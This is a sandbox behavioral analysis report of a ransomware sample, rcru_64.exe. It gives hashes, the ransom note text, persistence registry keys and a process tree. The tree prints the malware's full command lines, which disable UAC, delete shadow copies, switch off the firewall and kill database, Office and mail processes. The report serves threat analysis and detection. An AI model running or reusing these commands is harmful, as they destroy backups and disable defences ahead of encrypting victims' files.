Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
128s -
max time network
112s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
01/04/2021, 09:52
Static task
static1
Behavioral task
behavioral1
Sample
rcru_64.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
rcru_64.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
-
Target
rcru_64.exe
-
Size
1.0MB
-
MD5
0d5d7377432ee449f30626c2371a0080
-
SHA1
56a1d1203d62c131b70837d75af79aa19a3b0487
-
SHA256
94c8cf0e19aa11a48a57baf54cc3679dda1dac4ad59ece1bf86ef117a974ddf9
-
SHA512
19980615dbcba8ca8151aa5b93bc614b79edd1d77abbe37293001ecf16991cc939afca1cf62cac90c05510174cb8b7521a3074fbc160b47fd53d374521e06f0a
Score
10/10
Malware Config
Extracted
Path
\??\c:\Read_Me!_.txt
Ransom Note
Your Data Locked.
To Get Decryption Instructions Email Us ,Don't Edit Files Or Folders !
ID : 8oBO6b
Email Address :[email protected]
Emails
Signatures
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies Windows Firewall 1 TTPs
-
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktopini.exe rcru_64.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktopini.exe rcru_64.exe -
Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Machin_Updaters = "c:\\$Recycle.Bin\\RCRU_64.exe" reg.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\Machin_Update = "c:\\$Recycle.Bin\\RCRU_64.exe" reg.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe -
Drops desktop.ini file(s) 2 IoCs
description ioc Process File opened for modification \??\c:\Program Files\Common Files\microsoft shared\Stationery\Desktop.ini rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI rcru_64.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\n: rcru_64.exe File opened (read-only) \??\r: rcru_64.exe File opened (read-only) \??\y: rcru_64.exe File opened (read-only) \??\s: rcru_64.exe File opened (read-only) \??\g: rcru_64.exe File opened (read-only) \??\h: rcru_64.exe File opened (read-only) \??\j: rcru_64.exe File opened (read-only) \??\x: rcru_64.exe File opened (read-only) \??\p: rcru_64.exe File opened (read-only) \??\a: rcru_64.exe File opened (read-only) \??\b: rcru_64.exe File opened (read-only) \??\f: rcru_64.exe File opened (read-only) \??\z: rcru_64.exe File opened (read-only) \??\q: rcru_64.exe File opened (read-only) \??\t: rcru_64.exe File opened (read-only) \??\v: rcru_64.exe File opened (read-only) \??\l: rcru_64.exe File opened (read-only) \??\o: rcru_64.exe File opened (read-only) \??\w: rcru_64.exe File opened (read-only) \??\m: rcru_64.exe File opened (read-only) \??\u: rcru_64.exe File opened (read-only) \??\e: rcru_64.exe File opened (read-only) \??\i: rcru_64.exe File opened (read-only) \??\k: rcru_64.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification \??\c:\Program Files\Mozilla Firefox\mozavcodec.dll rcru_64.exe File opened for modification \??\c:\Program Files\RequestOut.ocx rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ACEEXCL.DLL rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\Autogen\JSByteCodeCache_64 rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Templates\1033\BloodPressureTracker.xltx rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Infragistics2.Win.UltraWinTabControl.v11.1.dll rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\5601_20x20x32.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteAppList.targetsize-32_altform-unplated.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookMedTile.scale-200.png rcru_64.exe File opened for modification \??\c:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.w3c.dom.svg_1.1.0.v201011041433.jar rcru_64.exe File created \??\c:\Program Files\Reference Assemblies\Read_Me!_.txt rcru_64.exe File opened for modification \??\c:\Program Files\VideoLAN\VLC\plugins\demux\libnoseek_plugin.dll rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-200_8wekyb3d8bbwe\Assets\SplashScreen.scale-200.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-256_contrast-black.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\SharpDXEngine\Rendering\Shaders\Builtin\Bin\Textured_VS.fxo rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleMedTile.scale-125.png rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\JOURNAL\JOURNAL.ELM rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Licenses16\AccessR_Grace-ppd.xrm-ms rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\Assets\AppPackageAppList.targetsize-32_altform-unplated.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Aquarium\aquarium_12c.png rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Office.Interop.Outlook.dll rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\RTL\contrast-black\MedTile.scale-125.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\clrcompression.dll rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSO.DLL rcru_64.exe File opened for modification \??\c:\Program Files\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll rcru_64.exe File created \??\c:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\Read_Me!_.txt rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\7989_24x24x32.png rcru_64.exe File opened for modification \??\c:\Program Files\Common Files\System\ado\msadox28.tlb rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\PurchaseApp.winmd rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AlarmsMedTile.contrast-white_scale-100.png rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Licenses16\client-issuance-root-bridge-test.xrm-ms rcru_64.exe File created \??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION\1033\Read_Me!_.txt rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] rcru_64.exe File opened for modification \??\c:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hr-hr.dll rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\GamesXboxHubWideTile.scale-125_contrast-high.png rcru_64.exe File opened for modification \??\c:\Program Files\Common Files\System\msadc\msadds.dll rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Office16\1033\ClientPreview_eula.txt rcru_64.exe File created \??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Resources\Read_Me!_.txt rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppTiles\contrast-white\MapsAppList.scale-125.png rcru_64.exe File opened for modification \??\c:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.w3c.css.sac_1.3.1.v200903091627.jar rcru_64.exe File opened for modification \??\c:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_ja.jar rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\PhotosLargeTile.contrast-white_scale-125.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\_Resources\0.rsrc rcru_64.exe File opened for modification \??\c:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_ja.jar rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\gs_16x11.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Collections\contrast-black\MedTile.scale-125_contrast-black.png rcru_64.exe File opened for modification \??\c:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\license.html rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV\MSCONV97.DLL rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Work\RTL\WideTile.scale-125.png rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Office16\mscss7es.dll rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.targetsize-20_contrast-white.png rcru_64.exe File created \??\c:\Program Files\Google\Chrome\Application\86.0.4240.111\MEIPreload\Read_Me!_.txt rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Office16\1033\STSLISTI.DLL rcru_64.exe File opened for modification \??\c:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-multitabs.jar rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\Licenses16\Standard2019R_Retail-ppd.xrm-ms rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Collections\contrast-white\WideTile.scale-125_contrast-white.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\1251_24x24x32.png rcru_64.exe File opened for modification \??\c:\Program Files\Common Files\microsoft shared\ink\hwrusalm.dat rcru_64.exe File opened for modification \??\c:\Program Files\Java\jre1.8.0_66\README.txt rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\jo_16x11.png rcru_64.exe File opened for modification \??\c:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\8201_24x24x32.png rcru_64.exe File opened for modification \??\c:\Program Files\Microsoft Office\root\rsod\osm.x-none.msi.16.x-none.boot.tree.dat rcru_64.exe File opened for modification \??\c:\Program Files\Common Files\microsoft shared\ink\ipshi.xml rcru_64.exe File opened for modification \??\c:\Program Files\Java\jdk1.8.0_66\jre\bin\jdwp.dll rcru_64.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3848 vssadmin.exe -
Kills process with taskkill 40 IoCs
pid Process 584 taskkill.exe 2192 taskkill.exe 4028 taskkill.exe 1800 taskkill.exe 3524 taskkill.exe 1768 taskkill.exe 756 taskkill.exe 3404 taskkill.exe 2564 taskkill.exe 580 taskkill.exe 588 taskkill.exe 3308 taskkill.exe 2748 taskkill.exe 3944 taskkill.exe 3160 taskkill.exe 752 taskkill.exe 3948 taskkill.exe 3924 taskkill.exe 504 taskkill.exe 2420 taskkill.exe 3844 taskkill.exe 3472 taskkill.exe 748 taskkill.exe 2100 taskkill.exe 3712 taskkill.exe 1376 taskkill.exe 2452 taskkill.exe 3672 taskkill.exe 2128 taskkill.exe 3156 taskkill.exe 3556 taskkill.exe 3928 taskkill.exe 3704 taskkill.exe 3860 taskkill.exe 3676 taskkill.exe 744 taskkill.exe 2164 taskkill.exe 3868 taskkill.exe 2736 taskkill.exe 1028 taskkill.exe -
Modifies registry key 1 TTPs 3 IoCs
pid Process 1624 reg.exe 812 reg.exe 1520 reg.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeBackupPrivilege 2572 vssvc.exe Token: SeRestorePrivilege 2572 vssvc.exe Token: SeAuditPrivilege 2572 vssvc.exe Token: SeIncreaseQuotaPrivilege 3344 WMIC.exe Token: SeSecurityPrivilege 3344 WMIC.exe Token: SeTakeOwnershipPrivilege 3344 WMIC.exe Token: SeLoadDriverPrivilege 3344 WMIC.exe Token: SeSystemProfilePrivilege 3344 WMIC.exe Token: SeSystemtimePrivilege 3344 WMIC.exe Token: SeProfSingleProcessPrivilege 3344 WMIC.exe Token: SeIncBasePriorityPrivilege 3344 WMIC.exe Token: SeCreatePagefilePrivilege 3344 WMIC.exe Token: SeBackupPrivilege 3344 WMIC.exe Token: SeRestorePrivilege 3344 WMIC.exe Token: SeShutdownPrivilege 3344 WMIC.exe Token: SeDebugPrivilege 3344 WMIC.exe Token: SeSystemEnvironmentPrivilege 3344 WMIC.exe Token: SeRemoteShutdownPrivilege 3344 WMIC.exe Token: SeUndockPrivilege 3344 WMIC.exe Token: SeManageVolumePrivilege 3344 WMIC.exe Token: 33 3344 WMIC.exe Token: 34 3344 WMIC.exe Token: 35 3344 WMIC.exe Token: 36 3344 WMIC.exe Token: SeIncreaseQuotaPrivilege 3344 WMIC.exe Token: SeSecurityPrivilege 3344 WMIC.exe Token: SeTakeOwnershipPrivilege 3344 WMIC.exe Token: SeLoadDriverPrivilege 3344 WMIC.exe Token: SeSystemProfilePrivilege 3344 WMIC.exe Token: SeSystemtimePrivilege 3344 WMIC.exe Token: SeProfSingleProcessPrivilege 3344 WMIC.exe Token: SeIncBasePriorityPrivilege 3344 WMIC.exe Token: SeCreatePagefilePrivilege 3344 WMIC.exe Token: SeBackupPrivilege 3344 WMIC.exe Token: SeRestorePrivilege 3344 WMIC.exe Token: SeShutdownPrivilege 3344 WMIC.exe Token: SeDebugPrivilege 3344 WMIC.exe Token: SeSystemEnvironmentPrivilege 3344 WMIC.exe Token: SeRemoteShutdownPrivilege 3344 WMIC.exe Token: SeUndockPrivilege 3344 WMIC.exe Token: SeManageVolumePrivilege 3344 WMIC.exe Token: 33 3344 WMIC.exe Token: 34 3344 WMIC.exe Token: 35 3344 WMIC.exe Token: 36 3344 WMIC.exe Token: SeDebugPrivilege 1800 taskkill.exe Token: SeDebugPrivilege 3704 taskkill.exe Token: SeDebugPrivilege 3944 taskkill.exe Token: SeDebugPrivilege 3860 taskkill.exe Token: SeDebugPrivilege 3524 taskkill.exe Token: SeDebugPrivilege 3712 taskkill.exe Token: SeDebugPrivilege 3676 taskkill.exe Token: SeDebugPrivilege 744 taskkill.exe Token: SeDebugPrivilege 1376 taskkill.exe Token: SeDebugPrivilege 2452 taskkill.exe Token: SeDebugPrivilege 3672 taskkill.exe Token: SeDebugPrivilege 2128 taskkill.exe Token: SeDebugPrivilege 1768 taskkill.exe Token: SeDebugPrivilege 588 taskkill.exe Token: SeDebugPrivilege 2164 taskkill.exe Token: SeDebugPrivilege 584 taskkill.exe Token: SeDebugPrivilege 756 taskkill.exe Token: SeDebugPrivilege 3160 taskkill.exe Token: SeDebugPrivilege 3308 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 644 wrote to memory of 2224 644 rcru_64.exe 76 PID 644 wrote to memory of 2224 644 rcru_64.exe 76 PID 644 wrote to memory of 2224 644 rcru_64.exe 76 PID 2224 wrote to memory of 1624 2224 cmd.exe 77 PID 2224 wrote to memory of 1624 2224 cmd.exe 77 PID 2224 wrote to memory of 1624 2224 cmd.exe 77 PID 2224 wrote to memory of 3848 2224 cmd.exe 78 PID 2224 wrote to memory of 3848 2224 cmd.exe 78 PID 2224 wrote to memory of 3848 2224 cmd.exe 78 PID 2224 wrote to memory of 3344 2224 cmd.exe 80 PID 2224 wrote to memory of 3344 2224 cmd.exe 80 PID 2224 wrote to memory of 3344 2224 cmd.exe 80 PID 2224 wrote to memory of 1424 2224 cmd.exe 82 PID 2224 wrote to memory of 1424 2224 cmd.exe 82 PID 2224 wrote to memory of 1424 2224 cmd.exe 82 PID 2224 wrote to memory of 4088 2224 cmd.exe 83 PID 2224 wrote to memory of 4088 2224 cmd.exe 83 PID 2224 wrote to memory of 4088 2224 cmd.exe 83 PID 2224 wrote to memory of 1528 2224 cmd.exe 84 PID 2224 wrote to memory of 1528 2224 cmd.exe 84 PID 2224 wrote to memory of 1528 2224 cmd.exe 84 PID 644 wrote to memory of 2240 644 rcru_64.exe 85 PID 644 wrote to memory of 2240 644 rcru_64.exe 85 PID 644 wrote to memory of 2240 644 rcru_64.exe 85 PID 2240 wrote to memory of 1800 2240 cmd.exe 86 PID 2240 wrote to memory of 1800 2240 cmd.exe 86 PID 2240 wrote to memory of 1800 2240 cmd.exe 86 PID 2240 wrote to memory of 3704 2240 cmd.exe 87 PID 2240 wrote to memory of 3704 2240 cmd.exe 87 PID 2240 wrote to memory of 3704 2240 cmd.exe 87 PID 2240 wrote to memory of 3944 2240 cmd.exe 88 PID 2240 wrote to memory of 3944 2240 cmd.exe 88 PID 2240 wrote to memory of 3944 2240 cmd.exe 88 PID 2240 wrote to memory of 3860 2240 cmd.exe 89 PID 2240 wrote to memory of 3860 2240 cmd.exe 89 PID 2240 wrote to memory of 3860 2240 cmd.exe 89 PID 2240 wrote to memory of 3524 2240 cmd.exe 90 PID 2240 wrote to memory of 3524 2240 cmd.exe 90 PID 2240 wrote to memory of 3524 2240 cmd.exe 90 PID 2240 wrote to memory of 3712 2240 cmd.exe 91 PID 2240 wrote to memory of 3712 2240 cmd.exe 91 PID 2240 wrote to memory of 3712 2240 cmd.exe 91 PID 2240 wrote to memory of 3676 2240 cmd.exe 92 PID 2240 wrote to memory of 3676 2240 cmd.exe 92 PID 2240 wrote to memory of 3676 2240 cmd.exe 92 PID 2240 wrote to memory of 744 2240 cmd.exe 93 PID 2240 wrote to memory of 744 2240 cmd.exe 93 PID 2240 wrote to memory of 744 2240 cmd.exe 93 PID 2240 wrote to memory of 1376 2240 cmd.exe 94 PID 2240 wrote to memory of 1376 2240 cmd.exe 94 PID 2240 wrote to memory of 1376 2240 cmd.exe 94 PID 2240 wrote to memory of 2452 2240 cmd.exe 95 PID 2240 wrote to memory of 2452 2240 cmd.exe 95 PID 2240 wrote to memory of 2452 2240 cmd.exe 95 PID 2240 wrote to memory of 3672 2240 cmd.exe 96 PID 2240 wrote to memory of 3672 2240 cmd.exe 96 PID 2240 wrote to memory of 3672 2240 cmd.exe 96 PID 2240 wrote to memory of 2128 2240 cmd.exe 97 PID 2240 wrote to memory of 2128 2240 cmd.exe 97 PID 2240 wrote to memory of 2128 2240 cmd.exe 97 PID 2240 wrote to memory of 1768 2240 cmd.exe 98 PID 2240 wrote to memory of 1768 2240 cmd.exe 98 PID 2240 wrote to memory of 1768 2240 cmd.exe 98 PID 2240 wrote to memory of 588 2240 cmd.exe 99
Processes
-
C:\Users\Admin\AppData\Local\Temp\rcru_64.exe"C:\Users\Admin\AppData\Local\Temp\rcru_64.exe"1⤵
- Drops startup file
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes2⤵
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Windows\SysWOW64\reg.exereg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- Modifies registry key
PID:1624
-
-
C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:3848
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3344
-
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set currentprofile state off3⤵PID:1424
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵PID:4088
-
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall set rule group="Network Discovery" new enable=Yes3⤵PID:1528
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /im notepad.exe&taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskkill /im mydesktopqos.exe&taskkill /im isqlplussvc.exe&taskkill /im xfssvccon.exe&taskkill /im mydesktopservice.exe&taskkill /im ocautoupds.exe&taskkill /im agntsvc.exe&taskkill /im encsvc.exe&taskkill /im firefoxconfig.exe&taskkill /im tbirdconfig.exe&taskkill /im ocomm.exe&taskkill /im mysqld.exe&taskkill /im mysqld-nt.exe&taskkill /im mysqld-opt.exe&taskkill /im dbeng50.exe&taskkill /im sqbcoreservice.exe&taskkill /im excel.exe&taskkill /im infopath.exe&taskkill /im msaccess.exe&taskkill /im mspub.exe&taskkill /im onenote.exe&taskkill /im outlook.exe&taskkill /im powerpnt.exe&taskkill /im steam.exe&taskkill /im thebat.exe&taskkill /im thebat64.exe&taskkill /im thunderbird.exe&taskkill /im visio.exe&taskkill /im winword.exe&taskkill /im wordpad.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im notepad.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1800
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im msftesql.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3704
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im sqlagent.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3944
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im sqlbrowser.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3860
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im sqlservr.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3524
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im sqlwriter.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3712
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im oracle.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3676
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im ocssd.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:744
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im dbsnmp.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1376
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im synctime.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2452
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im agntsvc.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3672
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im mydesktopqos.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2128
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im isqlplussvc.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1768
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im xfssvccon.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:588
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im mydesktopservice.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2164
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im ocautoupds.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:584
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im agntsvc.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:756
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im encsvc.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3160
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im firefoxconfig.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3308
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im tbirdconfig.exe3⤵
- Kills process with taskkill
PID:752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im ocomm.exe3⤵
- Kills process with taskkill
PID:748
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im mysqld.exe3⤵
- Kills process with taskkill
PID:3948
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im mysqld-nt.exe3⤵
- Kills process with taskkill
PID:2100
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im mysqld-opt.exe3⤵
- Kills process with taskkill
PID:3156
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im dbeng50.exe3⤵
- Kills process with taskkill
PID:3924
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im sqbcoreservice.exe3⤵
- Kills process with taskkill
PID:3868
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im excel.exe3⤵
- Kills process with taskkill
PID:3556
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im infopath.exe3⤵
- Kills process with taskkill
PID:504
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im msaccess.exe3⤵
- Kills process with taskkill
PID:3404
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im mspub.exe3⤵
- Kills process with taskkill
PID:2736
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im onenote.exe3⤵
- Kills process with taskkill
PID:1028
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im outlook.exe3⤵
- Kills process with taskkill
PID:2420
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im powerpnt.exe3⤵
- Kills process with taskkill
PID:3928
-
-
